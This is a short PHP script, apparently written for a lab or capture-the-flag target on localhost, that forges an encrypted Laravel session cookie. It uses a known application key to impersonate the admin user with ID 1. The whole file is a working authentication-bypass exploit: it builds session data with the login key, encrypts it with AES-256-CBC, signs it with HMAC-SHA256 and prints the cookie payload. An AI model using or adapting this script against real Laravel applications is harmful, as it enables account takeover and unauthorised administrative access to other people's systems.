<?php
// Laravel encryption uses AES-256-CBC with HMAC-SHA256
$appKey = base64_decode('MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=');

// Session data structure - need to look like authenticated admin user
$sessionData = [
    '_token' => bin2hex(random_bytes(20)),
    '_previous' => ['url' => 'http://127.0.0.1:8000/'],
    '_flash' => ['old' => [], 'new' => []],
    'login_web_59ba36addc2b2f9401580f014c7f58ea4e30989d' => 1, // User ID 1 (admin)
    // Add other session keys Laravel expects
];

$serialized = serialize($sessionData);
echo "Session data: " . $serialized . "\n\n";

// Encrypt with AES-256-CBC
$iv = random_bytes(16);
$encrypted = openssl_encrypt($serialized, 'AES-256-CBC', $appKey, OPENSSL_RAW_DATA, $iv);

// Create MAC
$mac = hash_hmac('sha256', base64_encode($iv) . base64_encode($encrypted), $appKey);

// Create final JSON payload
$payload = json_encode([
    'iv' => base64_encode($iv),
    'value' => base64_encode($encrypted),
    'mac' => $mac,
    'tag' => ''
]);

echo "Encrypted payload (base64): " . base64_encode($payload) . "\n";
